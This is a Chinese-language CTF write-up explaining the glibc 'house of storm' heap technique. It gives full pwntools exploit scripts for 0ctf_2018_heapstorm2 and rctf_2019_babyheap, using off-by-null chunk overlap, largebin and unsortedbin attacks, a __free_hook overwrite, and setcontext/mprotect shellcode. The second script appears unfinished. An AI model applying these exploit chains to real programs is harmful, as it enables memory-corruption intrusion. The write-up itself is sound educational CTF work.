0ctf_2018_heapstorm2
这道题算是house of storm的起源。
house of storm的原理其实就是:结合利用largebin attack和劫持unsortedbin后一个chunk的bk,实现把堆地址写入到任意地址,再结合unsortedbin的bk指针分配时只检查size而不检查chunk完整性(这里有点疑惑,unlink检查应该很严格,可能是绕过了而不是没有检查)分配到这个地址上(add(0x48))实现的结果和unlink差不多。
具体利用条件:
- glibc2.30以下
- 在unsortedbin和largebin中需要有两个chunk,这两个chunk要在一个index下并且unsortedbin中的index要比largebin的大(largebin attack条件)
- unsortedbin的bk可控(为了分配下一个chunk)
- largebin中的bk和bk_nextsize可控
对于第二,三,四个条件,只需要off-bu-null即可以实现。
heap_storm在实战中目前只碰到了rctf_2019_babyheap和0ctf_2018_heapstorm2,这两题的共同点是开启mallopt函数,限制没有fastbin,于是任意分配会有障碍
漏洞分析
edit中存在off-by-null我ida这里反汇编不是很明显
off-by-null其实可以实现很多事情。之前的sctf的一道题就是用off-by-null在没有show函数的情况下getshell的。这里类似的思路,对风水控制chunk-overlapping。这里的payload其实可以当成模板来用,主要是构造两个chunk overlapping并且大小不同。最后的结果是有两个chunk在largebin和unsortedbin中
# form chunk overlapping
add(0x18)#0
add(0x508)#1
add(0x18)#2
update(1,'h'*0x4f0+p64(0x500))
add(0x18)#3
add(0x508)#4
add(0x18)#5
update(4,'h'*0x4f0+p64(0x500))
add(0x18)#6
# debug()
free(1)
update(0,'h'*(0x18-12)) #don't overlap "heapstorm2"
# debug()
add(0x18)#1
add(0x4d8)#7
free(1)
free(2)# form overlap,unlink(backward consolidate)
add(0x38)#1, overlap with 7
add(0x4e8)#2, get from unsortedbin
# debug()
#create another overlap chunk
free(4)
update(3, 'h'*(0x18-12)) #off-by-one
add(0x18) #4
add(0x4d8) #8
free(4)
free(5) #backward consolidate
add(0x48) #4,overlap with chunk8, remember we have not get the remain unsortedbin chunk
free(2) #2's size is 0x4f0
add(0x4e8)# put 0x4c0 chunk into largebin
free(2)#into unsortedbin
下图为调试结果
接下来是关键的largebin attack和unsortedbin attack
由于这里的对管理块的位置是已知的,只需要分配到这里即可。修改unsortedbin的fd指针,可以导致unsortedbin attack把fake_chunk的fd位置写上main_arena+0x88的内容。
之后是修改largebin中chunk指针。注意这里largebin attack将会执行两件事情。第一把fake_chunk+8+0x10
(largebin->bk->fd)(其实是fake chunk开头的堆块的bk位置)写上下一个堆块的地址,而正好就是下一个unsortedbin的块地址
第二件事是把fake_chunk-0x18-5
中写上下一个堆块的地址。为什么是-5,因为这样会像fastbin一样,控制size前面都是0,变成0x0000000000000056
。
这两件事情做完了,我们就构造好了符合要求的伪造unsorted chunk
storage = 0x13370000+0x800 #heap_ptr
fake_chunk = storage - 0x20 #prepare for unsortedbin
p1 = p64(0)*2+p64(0)+p64(0x4f1)
p1+=p64(0)+p64(fake_chunk) #place of bk
update(7,p1)# chunk 7 is in unsortedbin
p2 = p64(0)*4+p64(0)+p64(0x4e1)
p2+=p64(0)+p64(fake_chunk+8)
p2+=p64(0)+p64(fake_chunk-0x18-5)# bk_nextsize, why -0x18-5?:prepare for the fake 0x0000000000000056
update(8,p2)# chunk 8 is in largebin
引用一位博主的图,写house of storm也很好
https://www.cnblogs.com/Rookle/p/13140339.html
接下来就是爆破看0x56大小的块能不能被分配到。分配到了就是unlink一样的解法。还是有点小麻烦就是这里的permission绕过,只需要设置为0 就可以了。
这道题又有点麻烦,自己加了异或简单加密,给调试看内存带来了很大的困难,真实烦银。所以这道题就当是学习知识点了。
exp
参考网上的,动手调试学会的以上内容:)
https://blog.csdn.net/weixin_44145820/article/details/105740530
from pwn import *
#r = remote("node3.buuoj.cn", 26141)
#r = process("./0ctf_2018_heapstorm2")
context.log_level = 'debug'
elf = ELF("./0ctf_2018_heapstorm2")
libc = elf.libc
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "Command: "
def add(size):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline(str(size))
def delete(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index: ")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index: ")
r.sendline(str(index))
def edit(index,content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index: ")
r.sendline(str(index))
r.recvuntil("Size: ")
r.sendline(str(len(content)))
r.recvuntil("Content: ")
r.send(content)
def debug():
gdb.attach(r,"brva 0xf21")
edit(3,'0')
def pwn():
add(0x18)#0
add(0x508)#1
add(0x18)#2
add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
edit(1, 'a'*0x4f0+p64(0x500))
delete(1)
edit(0, 'a'*(0x18-12))
add(0x18)#1
add(0x4d8)#7
delete(1)
delete(2)
add(0x38)#1
add(0x4e8)#2
edit(4, 'a'*0x4f0+p64(0x500))
delete(4)
edit(3, 'a'*(0x18-12))
add(0x18)#4
add(0x4d8)#8
delete(4)
delete(5)
add(0x48)#4
delete(2)
add(0x4e8)#2
delete(2)
storage = 0x13370800
fake_chunk = storage - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload)
payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
add(0x48) #0x133707e0
# debug()
payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
edit(2, payload)
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(fake_chunk+3) + p64(8) # the addr which unsortedbin attack hits
edit(0, payload)
show(1)
r.recvuntil("]: ")
heap = u64(r.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
edit(0, payload)
show(1)
r.recvuntil("]: ")
malloc_hook = u64(r.recv(6).ljust(8, '\x00')) -0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
success("malloc_hook:"+hex(malloc_hook))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) + '/bin/sh\x00'
edit(0, payload)
edit(1, p64(system))
delete(2)
r.interactive()
if __name__ == "__main__":
#pwn()
while True:
# r = process('./0ctf_2018_heapstorm2')
r = remote('node4.buuoj.cn',29164)
try:
pwn()
except:
r.close()
rctf_2019_babyheap
学完上面的知识点再来做这道题就会觉得很easy,两道题非常相似,而且都是用了mallopt这个函数。这道题没有加密,开了沙箱,难度感觉是降低了的
踩坑
- 首先是泄露libc,这道题控制指针也是随机化的,没法正常unlink到控制块,像刚才那样,于是就考虑劫持free_hook(上一题为什么不行?因为这样方便并且还要绕过permission检测)libc泄露可以通过off-by-null得到unsortedbin中的overlapping chunk
- 由于开了沙箱,要用setcontext但是注意如果要使用set_context+mprotect+shellcode需要sigreturnframe这样chunk大小就不够(200多Byte),后面还是自己重新堆风水修改的
- read的shellcode读入的块大小很惊险,67/72差点就不够了。一开始没有用xor导致无法orw
其他的都比较类似,尤其堆风水思路差不多,直接套就可以。
exp
from pwn import *
io=process('./rctf_2019_babyheap')
context.log_level='debug'
context.arch = "amd64"
elf=ELF('./rctf_2019_babyheap')
libc=elf.libc
def add(size):
io.recvuntil('Choice:')
io.sendline(str(1))
io.recvuntil('Size:')
io.sendline(str(size))
def edit(index,content):
io.recvuntil('Choice:')
io.sendline(str(2))
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Content:')
io.send(content)
def delete(index):
io.recvuntil('Choice:')
io.sendline(str(3))
io.recvuntil('Index:')
io.sendline(str(index))
def show(index):
io.recvuntil('Choice:')
io.sendline(str(4))
io.recvuntil('Index:')
io.sendline(str(index))
def debug():
gdb.attach(io,"brva 0x1329")
show(0)
def pwn():
# fake chunkoverlap get libc_addr
# pause()
add(0x18)#idx0
add(0x18)#idx1
add(0xf8)#idx2
add(0x18)#idx3
delete(0)
edit(1,p64(0xdeadbeef)*2+p64(0x40))
delete(2)# off-by-null overlapping
# debug()
add(0x18)
show(1)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success("libc_info----->" + hex(libc_info))
libc_base = libc_info-0x3c4b78
success("libc_base----->" + hex(libc_base))
add(0x118)#2
# refresh the heap and bins
delete(3)
delete(2)
delete(0)
# debug()
# house of storm
# step1: overlap chunk
add(0x18)#0
add(0x508)#2
add(0x18)#3
add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
# construct overlapping chunk2 with 8
edit(2,'a'*0x4f0+p64(0x500))
delete(2)
edit(0,p64(0)*4)#off by null
# debug()
add(0x18)#2
add(0x4d8)#8
delete(2)
delete(3)
add(0x38)#idx2,overlap with 8
add(0x4e8)#idx3
# debug()
# forge another overlapped chunk 5 with 9
edit(5,'a'*0x4f0+p64(0x500))
delete(5)
edit(4,p64(0)*4)#off by null
# debug()
add(0x18)#5
add(0x4d8)#9
delete(5)
delete(6)
add(0x48)#idx5,overlap with 9,smaller than previous one
# the remains 0x4d8 is in unsortedbin
# debug()
# step2:house_of_storm attack
delete(3)# 3's size is 0x4e8
add(0x4e8)#idx3
delete(3)
# debug()
fake_chunk = libc_base+libc.sym['__free_hook']-0x20
# now largebin and unsortedbin should have chunks, chunks in unsortedbin is larger
edit(8,p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk))# the position of bk in unsortedbin
edit(9,p64(0)*5+p64(0x4e1)+p64(0)+p64(fake_chunk+8)+p64(0)+p64(fake_chunk-0x18-5))
debug()
add(0x48) #idx3
#idx3+0x10 is free_hook
debug()
# step3: write free_hook with setcontext+53,call sigreturn and mprotect---->read shellcode----->jump to shellcode
free_hook = libc_base+libc.sym['__free_hook']
setcontext = libc_base+libc.sym['setcontext']
shellcode_addr = libc_base+libc.sym['__free_hook']
shellcode_addr = free_hook&0xfffffffffffff000
shellcode_read = """
mov rdi,0
mov rsi,{}
mov rdx,0x1000
mov rax,0
syscall
jmp rsi
""".format(shellcode_addr)
edit(3,p64(0)*2+p64(setcontext+53)+p64(free_hook+0x18)*2+asm(shellcode_read))
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = shellcode_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']+libc_addr
print len(str(frame))
edit(0,str(frame))
if __name__ == "__main__":
while True:
io=process('./rctf_2019_babyheap')
try:
pwn()
io.interactive()
except:
io.close()
总结
house of strom结合unsortedbin attack 和largebin attack,但是需要大小要求和指针覆盖要求,常见于(包括但不限于)mallopt题目中,效果类似unlink。这里学到了unlink其实也可以分配到free_hook的位置(如果使用unsortedbin attack和largebin attack布置好了)还是有些小复杂的使用方法。也没有出现在how2heap中。